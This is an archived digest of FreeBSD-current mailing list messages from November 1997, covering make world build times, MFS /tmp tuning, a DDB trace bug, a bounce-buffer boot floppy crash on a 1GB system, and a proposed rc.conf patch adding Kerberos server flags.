4 Nov 1997 17:46:09 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-103097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 In-Reply-To: <199711040917.EAA00368@dyson.iquest.net> Date: Tue, 04 Nov 1997 09:46:09 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: "John S. Dyson" Subject: Re: More on fast make world... Cc: dyson@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi John S. Dyson; On 04-Nov-97 you wrote: ... > This is my fstab entry. You'll also have to add the MFS option to the > kernel. > The -s param should be smaller than your amount of swap. To add -pipe, > just > edit your /etc/make.conf file and add -pipe to your CFLAGS entry. > > swap /tmp mfs rw,-s=210000,-b=16384,-f=2048 0 0 Thanx! Will test this morning... Simon From owner-freebsd-current Tue Nov 4 09:45:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA24243 for current-outgoing; Tue, 4 Nov 1997 09:45:52 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA24209 for ; Tue, 4 Nov 1997 09:45:45 -0800 (PST) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 11783 invoked by uid 1000); 4 Nov 1997 17:46:09 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-103097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199711040929.KAA05103@sos.freebsd.dk> Date: Tue, 04 Nov 1997 09:46:09 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: sos@FreeBSD.dk Subject: Re: Make World Times Cc: jkh@time.cdrom.com, freebsd-current@FreeBSD.ORG, cunning@dpt.com Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Søren Schmidt; On 04-Nov-97 you wrote: > In reply to Simon Shapiro who wrote: > > Those of us who like I/O systems, here are some interesting statistics: > > > > Total time to build (from fresh install, cd /usr/src;make world): > > 1h42m. > > I do a make world in 1h03m, so what :) > > What kind of CPU etc are you using for this, without that info > the numbers is just nonsense... So nicely put... I thought it was there... Twin P6-200. What are you using to get this amazing time? Is it a plain, just installed make world? We are trying to optimize the build. Right? Simon From owner-freebsd-current Tue Nov 4 10:19:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA26220 for current-outgoing; Tue, 4 Nov 1997 10:19:43 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA26204 for ; Tue, 4 Nov 1997 10:19:37 -0800 (PST) (envelope-from sos@sos.freebsd.dk) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id TAA06421; Tue, 4 Nov 1997 19:19:00 +0100 (MET) Message-Id: <199711041819.TAA06421@sos.freebsd.dk> Subject: Re: Make World Times In-Reply-To: from Simon Shapiro at "Nov 4, 97 09:46:09 am" To: Shimon@i-Connect.Net (Simon Shapiro) Date: Tue, 4 Nov 1997 19:18:59 +0100 (MET) Cc: sos@FreeBSD.dk, jkh@time.cdrom.com, freebsd-current@FreeBSD.ORG, cunning@dpt.com From: Søren Schmidt Reply-to: sos@FreeBSD.dk X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Simon Shapiro who wrote: > > Hi Søren Schmidt; On 04-Nov-97 you wrote: > > In reply to Simon Shapiro who wrote: > > > Those of us who like I/O systems, here are some interesting statistics: > > > > > > Total time to build (from fresh install, cd /usr/src;make world): > > > 1h42m. > > > > I do a make world in 1h03m, so what :) > > > > What kind of CPU etc are you using for this, without that info > > the numbers is just nonsense... > > So nicely put... I thought it was there... Twin P6-200. What are you > using to get this amazing time? Is it a plain, just installed make world? > We are trying to optimize the build. Right? Single P6@233/96M/Dual EIDE disks (src & obj on different disks async mount) Make world with NOPROFILE NOTCL, -O -pipe on a blank /usr/obj -current src... Nothing fancy besides that... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-current Tue Nov 4 11:12:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA29905 for current-outgoing; Tue, 4 Nov 1997 11:12:04 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA29865 for ; Tue, 4 Nov 1997 11:11:59 -0800 (PST) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 23842 invoked by uid 1000); 4 Nov 1997 19:12:28 -0000 Message-ID: X-Mailer: XFMail 1.2-beta-103097 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199711041819.TAA06421@sos.freebsd.dk> Date: Tue, 04 Nov 1997 11:12:28 -0800 (PST) Organization: Atlas Telecom From: Simon Shapiro To: sos@FreeBSD.dk Subject: Re: Make World Times Cc: cunning@dpt.com, freebsd-current@FreeBSD.ORG, jkh@time.cdrom.com Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Søren Schmidt; On 04-Nov-97 you wrote: ... > Single P6@233/96M/Dual EIDE disks (src & obj on different disks async > mount) > Make world with NOPROFILE NOTCL, -O -pipe on a blank /usr/obj -current > src... > Nothing fancy besides that... Ah, not a complete build... We are talking making the entire thing. Next we will go after release... :-) --- If Microsoft Built Cars: Every time they repainted the lines on the road, you'd have to buy a new car. Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-current Tue Nov 4 13:52:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA10851 for current-outgoing; Tue, 4 Nov 1997 13:52:00 -0800 (PST) (envelope-from owner-freebsd-current) Received: from peedub.muc.de (newpc.muc.ditec.de [194.120.126.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA10841 for ; Tue, 4 Nov 1997 13:51:54 -0800 (PST) (envelope-from garyj@peedub.muc.de) Received: from peedub.muc.de (localhost [127.0.0.1]) by peedub.muc.de (8.8.7/8.6.9) with ESMTP id WAA08609 for ; Tue, 4 Nov 1997 22:51:47 +0100 (CET) Message-Id: <199711042151.WAA08609@peedub.muc.de> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-current@freebsd.org Subject: Re: [try this] (Was: ddb broken in -current?) Reply-To: Gary Jennejohn In-reply-to: Your message of "Mon, 03 Nov 1997 20:09:56 PST." <345EA014.15FB7483@whistle.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 04 Nov 1997 22:51:46 +0100 From: Gary Jennejohn Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Julian Elischer writes: >Anyone got a clue? >2 people have seen this now, >can other people try this experiment? > I see it too. Don't have a clue, though. --- Gary Jennejohn Home - garyj@muc.de Work - garyj@fkr.dec.com From owner-freebsd-current Tue Nov 4 15:16:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA16848 for current-outgoing; Tue, 4 Nov 1997 15:16:27 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA16830 for ; Tue, 4 Nov 1997 15:16:17 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id SAA01224; Tue, 4 Nov 1997 18:15:22 -0500 (EST) From: "John S. Dyson" Message-Id: <199711042315.SAA01224@dyson.iquest.net> Subject: Re: Make World Times In-Reply-To: from Simon Shapiro at "Nov 4, 97 09:46:09 am" To: Shimon@i-Connect.Net (Simon Shapiro) Date: Tue, 4 Nov 1997 18:15:21 -0500 (EST) Cc: sos@FreeBSD.dk, jkh@time.cdrom.com, freebsd-current@FreeBSD.ORG, cunning@dpt.com Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Simon Shapiro said: > > Hi Søren Schmidt; On 04-Nov-97 you wrote: > > In reply to Simon Shapiro who wrote: > > > Those of us who like I/O systems, here are some interesting statistics: > > > > > > Total time to build (from fresh install, cd /usr/src;make world): > > > 1h42m. > > > > I do a make world in 1h03m, so what :) > > > > What kind of CPU etc are you using for this, without that info > > the numbers is just nonsense... > > So nicely put... I thought it was there... Twin P6-200. What are you > using to get this amazing time? Is it a plain, just installed make world? > We are trying to optimize the build. Right? > Note that in my list of optimizations -- SOS's async mount makes alot of (good) difference also. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Tue Nov 4 15:40:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA18815 for current-outgoing; Tue, 4 Nov 1997 15:40:19 -0800 (PST) (envelope-from owner-freebsd-current) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA18799 for ; Tue, 4 Nov 1997 15:40:13 -0800 (PST) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id PAA10293 for ; Tue, 4 Nov 1997 15:38:35 -0800 (PST) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd010286; Tue Nov 4 23:38:33 1997 Message-ID: <345FB188.ABD322C@whistle.com> Date: Tue, 04 Nov 1997 15:36:41 -0800 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: freebsd-current@FreeBSD.ORG Subject: DDB IS broken in -current References: <199711042151.WAA08609@peedub.muc.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk that makes 3 I've discoverd that just booting -d and doing 'trace' is enough. It seems that the stack or something has been royally screwed. (possibly the trap frame) Has anyone done anything with the trap frame over the last 6 weeks? BTW where's BDE? he's gone TERRIBLY silent for him.. julian Gary Jennejohn wrote: > > Julian Elischer writes: > >Anyone got a clue? > >2 people have seen this now, > >can other people try this experiment? > > > > I see it too. Don't have a clue, though. > > --- > Gary Jennejohn > Home - garyj@muc.de > Work - garyj@fkr.dec.com From owner-freebsd-current Tue Nov 4 17:08:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA24675 for current-outgoing; Tue, 4 Nov 1997 17:08:10 -0800 (PST) (envelope-from owner-freebsd-current) Received: from kaos.atext.com (kaos.atext.com [204.62.245.13]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA24663 for ; Tue, 4 Nov 1997 17:08:05 -0800 (PST) (envelope-from kingson@excite.com) Received: from excite.com (batik [204.62.245.185]) by kaos.atext.com (8.8.5/8.8.5) with ESMTP id RAA03963 for ; Tue, 4 Nov 1997 17:07:25 -0800 (PST) Message-ID: <345FC6CF.73D2D1A4@excite.com> Date: Tue, 04 Nov 1997 17:07:27 -0800 From: Kingson Gunawan Reply-To: kingson@excite.com Organization: Excite Inc. X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.6 sun4m) MIME-Version: 1.0 To: freebsd-current@FreeBSD.ORG Subject: memory out of range??? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I have the following setup/config: Tyan m/b Tahoe series Dual P-II/266 with 1GB memory (yes, 1024MB of RAM). DPT smartraid-4 (UW), Adaptec 2940UW Matshita CD-ROM (SCSI) 8 IBM UW SCSI 4.1GB drives (7 configured as raid attached to DPT, the rest attached to the Adaptec). I made the boot floppy from the image in the current.freebsd.org:/pub/3.0-971101-SNAP/floppies. I know this boot floppy will not recognize the DPT controller. However, the boot floppy crashed with: "bounced memory: out of range" (or something like that) right after the install config screen. Any idea? -- +-------------------------------------------------------------------+ | Kingson Gunawan kingson@excite.com | | Excite Inc. Phone: (415) 569-2071 | | Redwood City, CA | +-------------------------------------------------------------------+ | Navigate the web with EXCITE @ http://www.excite.com | +-------------------------------------------------------------------+ From owner-freebsd-current Tue Nov 4 17:15:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA25022 for current-outgoing; Tue, 4 Nov 1997 17:15:43 -0800 (PST) (envelope-from owner-freebsd-current) Received: from zippy.dyn.ml.org (garbanzo@spain-7.ppp.hooked.net [206.169.228.7]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA25017 for ; Tue, 4 Nov 1997 17:15:39 -0800 (PST) (envelope-from garbanzo@hooked.net) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.7/8.8.7) with SMTP id RAA03201; Tue, 4 Nov 1997 17:16:17 -0800 (PST) X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Tue, 4 Nov 1997 17:16:17 -0800 (PST) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: "John S. Dyson" cc: freebsd-current@FreeBSD.ORG Subject: Re: More on fast make world... In-Reply-To: <199711040917.EAA00368@dyson.iquest.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 4 Nov 1997, John S. Dyson wrote: > > Silly question: How do I do that? Last I tried I ended in a panic... > > How large? Where to mount? /tmp or /var/tmp? I foreget ... > > > > Without these improvements, we are at 102 minutes end-to-end. Let's go for > > sub-hour make world! > > > > This is my fstab entry. You'll also have to add the MFS option to the kernel. > The -s param should be smaller than your amount of swap. To add -pipe, just > edit your /etc/make.conf file and add -pipe to your CFLAGS entry. > > swap /tmp mfs rw,-s=210000,-b=16384,-f=2048 0 0 Ok, this is probably a silly question, but here it goes. What exactly is MFS? Is it akin to a ramdisk? Or is it just swap space that's emulating a drive slice? If it's realy out of swap space, how would that actually improve performance? - alex From owner-freebsd-current Tue Nov 4 17:19:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA25279 for current-outgoing; Tue, 4 Nov 1997 17:19:29 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA25265 for ; Tue, 4 Nov 1997 17:19:24 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id UAA13860; Tue, 4 Nov 1997 20:19:09 -0500 (EST) From: "John S. Dyson" Message-Id: <199711050119.UAA13860@dyson.iquest.net> Subject: Re: More on fast make world... In-Reply-To: from Alex at "Nov 4, 97 05:16:17 pm" To: garbanzo@hooked.net (Alex) Date: Tue, 4 Nov 1997 20:19:09 -0500 (EST) Cc: toor@dyson.iquest.net, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Alex said: > > > On Tue, 4 Nov 1997, John S. Dyson wrote: > > > > Silly question: How do I do that? Last I tried I ended in a panic... > > > How large? Where to mount? /tmp or /var/tmp? I foreget ... > > > > > > Without these improvements, we are at 102 minutes end-to-end. Let's go for > > > sub-hour make world! > > > > > > > This is my fstab entry. You'll also have to add the MFS option to the kernel. > > The -s param should be smaller than your amount of swap. To add -pipe, just > > edit your /etc/make.conf file and add -pipe to your CFLAGS entry. > > > > swap /tmp mfs rw,-s=210000,-b=16384,-f=2048 0 0 > > Ok, this is probably a silly question, but here it goes. What exactly is > MFS? Is it akin to a ramdisk? Or is it just swap space that's emulating > a drive slice? If it's realy out of swap space, how would that actually > improve performance? > Think of it as a ramdisk, that is backed by swap if it is needed. It "soft-fails". Our implementation isn't as efficient as it could be, but there is almost no reason that a swap-backed ramdisk should be much slower than a non-swap-backed ramdisk. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Tue Nov 4 19:00:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA03090 for current-outgoing; Tue, 4 Nov 1997 19:00:20 -0800 (PST) (envelope-from owner-freebsd-current) Received: from word.smith.net.au (ppp13.portal.net.au [202.12.71.113]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA03073 for ; Tue, 4 Nov 1997 19:00:11 -0800 (PST) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id NAA00615; Wed, 5 Nov 1997 13:26:08 +1030 (CST) Message-Id: <199711050256.NAA00615@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: kingson@excite.com cc: freebsd-current@FreeBSD.ORG Subject: Re: memory out of range??? In-reply-to: Your message of "Tue, 04 Nov 1997 17:07:27 -0800." <345FC6CF.73D2D1A4@excite.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 05 Nov 1997 13:26:07 +1030 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I have the following setup/config: > Tyan m/b Tahoe series Dual P-II/266 with 1GB memory (yes, 1024MB of > RAM). > DPT smartraid-4 (UW), Adaptec 2940UW > Matshita CD-ROM (SCSI) > 8 IBM UW SCSI 4.1GB drives (7 configured as raid attached to DPT, the > rest attached to the Adaptec). Hmm, nice configuration. I am presuming you'll be looking at the DPT driver soon? > I made the boot floppy from the image in the > current.freebsd.org:/pub/3.0-971101-SNAP/floppies. > I know this boot floppy will not recognize the DPT controller. However, > the boot floppy crashed with: > "bounced memory: out of range" (or something like that) > right after the install config screen. > > Any idea? Yup. You have too much memory for the "BOUNCE_BUFFERS" option, which is part of the boot floppy's configuration (in order to support slightly lower-end systems 8). If you can temporarily remove most of your memory until after you've installed and built a new kernel, you'll be fine. mike From owner-freebsd-current Tue Nov 4 20:15:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA08765 for current-outgoing; Tue, 4 Nov 1997 20:15:14 -0800 (PST) (envelope-from owner-freebsd-current) Received: from conductor.synapse.net (conductor.synapse.net [199.84.54.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id UAA08756 for ; Tue, 4 Nov 1997 20:15:07 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 20681 invoked from network); 5 Nov 1997 04:14:54 -0000 Received: from cello.synapse.net (199.84.54.81) by conductor.synapse.net with SMTP; 5 Nov 1997 04:14:54 -0000 Date: Tue, 4 Nov 1997 23:14:53 -0500 (EST) From: Evan Champion To: freebsd-current@freebsd.org Subject: operator not member of group operator? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is there any particular reason why user operator is not a member of group operator? The user operator itself is kind of useless; being a member of group operator is what makes operator what it is -- the userid that dumps are done as. It can't do its job the way it is currently defined... Evan From owner-freebsd-current Tue Nov 4 20:19:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA09023 for current-outgoing; Tue, 4 Nov 1997 20:19:59 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA09012 for ; Tue, 4 Nov 1997 20:19:49 -0800 (PST) (envelope-from nate@rocky.mt.sri.com) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id VAA00586; Tue, 4 Nov 1997 21:19:41 -0700 (MST) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id VAA16415; Tue, 4 Nov 1997 21:19:39 -0700 (MST) Date: Tue, 4 Nov 1997 21:19:39 -0700 (MST) Message-Id: <199711050419.VAA16415@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Julian Elischer Cc: freebsd-current@freebsd.org Subject: Re: DDB IS broken in -current In-Reply-To: <345FB188.ABD322C@whistle.com> References: <199711042151.WAA08609@peedub.muc.de> <345FB188.ABD322C@whistle.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > BTW where's BDE? he's gone TERRIBLY silent for him.. He went on vacation last I heard. At least, he was planning on being away from his computer for the first week in November. :) Nate From owner-freebsd-current Tue Nov 4 21:24:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA13073 for current-outgoing; Tue, 4 Nov 1997 21:24:37 -0800 (PST) (envelope-from owner-freebsd-current) Received: from mail.uniserve.com (dns1-van.uniserve.com [204.244.163.48] (may be forged)) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA13063 for ; Tue, 4 Nov 1997 21:24:32 -0800 (PST) (envelope-from tom@uniserve.com) Received: from shell.uniserve.com [204.244.210.252] by mail.uniserve.com with smtp (Exim 1.70 #1) id 0xSxx8-0002Cq-00; Tue, 4 Nov 1997 21:24:30 -0800 Date: Tue, 4 Nov 1997 21:24:23 -0800 (PST) From: Tom To: Kingson Gunawan cc: freebsd-current@freebsd.org Subject: Re: memory out of range??? In-Reply-To: <345FC6CF.73D2D1A4@excite.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 4 Nov 1997, Kingson Gunawan wrote: > I have the following setup/config: > Tyan m/b Tahoe series Dual P-II/266 with 1GB memory (yes, 1024MB of > RAM). > DPT smartraid-4 (UW), Adaptec 2940UW > Matshita CD-ROM (SCSI) > 8 IBM UW SCSI 4.1GB drives (7 configured as raid attached to DPT, the > rest attached to the Adaptec). > > I made the boot floppy from the image in the > current.freebsd.org:/pub/3.0-971101-SNAP/floppies. > I know this boot floppy will not recognize the DPT controller. However, > the boot floppy crashed with: > "bounced memory: out of range" (or something like that) > right after the install config screen. > > Any idea? Hopefully, this is the archive, but it probably isn't up to date yet... Bounce buffers (for ISA devices that require DMA: aha, and some ethernets) don't work on large memory configurations. Simple solution is to make a boot floppy without bounce buffers, because chances are no one is going to be using old ISA junk on such systems. Long term solution is to fix bounce buffers. Tom From owner-freebsd-current Tue Nov 4 22:27:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA16696 for current-outgoing; Tue, 4 Nov 1997 22:27:37 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA16691 for ; Tue, 4 Nov 1997 22:27:32 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id BAA20689; Wed, 5 Nov 1997 01:27:12 -0500 (EST) From: "John S. Dyson" Message-Id: <199711050627.BAA20689@dyson.iquest.net> Subject: Re: memory out of range??? In-Reply-To: from Tom at "Nov 4, 97 09:24:23 pm" To: tom@uniserve.com (Tom) Date: Wed, 5 Nov 1997 01:27:12 -0500 (EST) Cc: kingson@excite.com, freebsd-current@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Tom said: > > On Tue, 4 Nov 1997, Kingson Gunawan wrote: > > > I have the following setup/config: > > Tyan m/b Tahoe series Dual P-II/266 with 1GB memory (yes, 1024MB of > > RAM). > One minor problem (not related to the bounce problem): P-II processors don't cache above 512MB. John From owner-freebsd-current Tue Nov 4 23:16:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA18928 for current-outgoing; Tue, 4 Nov 1997 23:16:59 -0800 (PST) (envelope-from owner-freebsd-current) Received: from mail.uniserve.com (dns1-van.uniserve.com [204.244.163.48] (may be forged)) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA18920; Tue, 4 Nov 1997 23:16:50 -0800 (PST) (envelope-from tom@uniserve.com) Received: from shell.uniserve.com [204.244.210.252] by mail.uniserve.com with smtp (Exim 1.70 #1) id 0xSzhK-0002t1-00; Tue, 4 Nov 1997 23:16:19 -0800 Date: Tue, 4 Nov 1997 23:16:12 -0800 (PST) From: Tom To: dyson@freebsd.org cc: kingson@excite.com, freebsd-current@freebsd.org Subject: Re: memory out of range??? In-Reply-To: <199711050627.BAA20689@dyson.iquest.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 5 Nov 1997, John S. Dyson wrote: > One minor problem (not related to the bounce problem): P-II processors > don't cache above 512MB. Hardly minor. Performance will be rather uneven on 512MB+ systems. Does the Pro have this limiation too? > John Tom From owner-freebsd-current Tue Nov 4 23:26:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA19591 for current-outgoing; Tue, 4 Nov 1997 23:26:53 -0800 (PST) (envelope-from owner-freebsd-current) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA19580 for ; Tue, 4 Nov 1997 23:26:50 -0800 (PST) (envelope-from sef@Kithrup.COM) Received: (from sef@localhost) by kithrup.com (8.8.5/8.6.6) id XAA20440; Tue, 4 Nov 1997 23:26:49 -0800 (PST) Date: Tue, 4 Nov 1997 23:26:49 -0800 (PST) From: Sean Eric Fagan Message-Id: <199711050726.XAA20440@kithrup.com> To: current@freebsd.org Reply-To: sef@Kithrup.COM Subject: Proposed kerberos-related rc.conf change Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk kadmind is started with -n; I would also consider making it a generic "kerberos_stash" flag -- either empty, or "-n" -- and then use it for both. Index: etc/rc.conf =================================================================== RCS file: /home/ncvs/src/etc/rc.conf,v retrieving revision 1.32 diff -u -r1.32 rc.conf --- rc.conf 1997/10/31 01:58:53 1.32 +++ rc.conf 1997/11/05 07:19:21 @@ -44,6 +44,8 @@ named_enable="NO" # Run named, the DNS server (or NO). named_flags="-b /etc/namedb/named.boot" # Flags to named (if enabled). kerberos_server_enable="NO" # Run a kerberos master server (or NO). +kerberos_flags="" # Flags (typically -n) to pass to kerberos + # server at startup rwhod_enable="NO" # Run the rwho daemon (or NO). amd_enable="NO" # Run amd service with $amd_flags (or NO). amd_flags="-a /net -c 1800 -k i386 -d my.domain -l syslog /host /etc/amd.map" Index: etc/rc.network =================================================================== RCS file: /home/ncvs/src/etc/rc.network,v retrieving revision 1.11 diff -u -r1.11 rc.network --- rc.network 1997/09/18 22:43:48 1.11 +++ rc.network 1997/11/05 07:20:06 @@ -222,7 +222,8 @@ # Kerberos runs ONLY on the Kerberos server machine if [ "X${kerberos_server_enable}" = X"YES" ]; then - echo -n ' kerberos'; kerberos >> /var/log/kerberos.log & + echo -n ' kerberos'; \ + kerberos ${kerberos_flags} >> /var/log/kerberos.log & echo -n ' kadmind'; \ (sleep 20; kadmind -n >/dev/null 2>&1 &) & fi Index: share/man/man5/rc.conf.5 =================================================================== RCS file: /home/ncvs/src/share/man/man5/rc.conf.5,v retrieving revision 1.5 diff -u -r1.5 rc.conf.5 --- rc.conf.5 1997/11/02 21:45:31 1.5 +++ rc.conf.5 1997/11/05 07:17:49 @@ -204,6 +204,15 @@ .Ar YES if you want to run a Kerberos authentication server at boot time. +.It Ar kerberos_flags +(str) if +.Ar kerberos_server_enable +is set to +.Ar YES , +these are the flags (typically +.Ar -n ) +to pass to +.Xr kerberos 1 . .It Ar rwhod_enable (bool) If set to .Ar YES , From owner-freebsd-current Tue Nov 4 23:29:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA19826 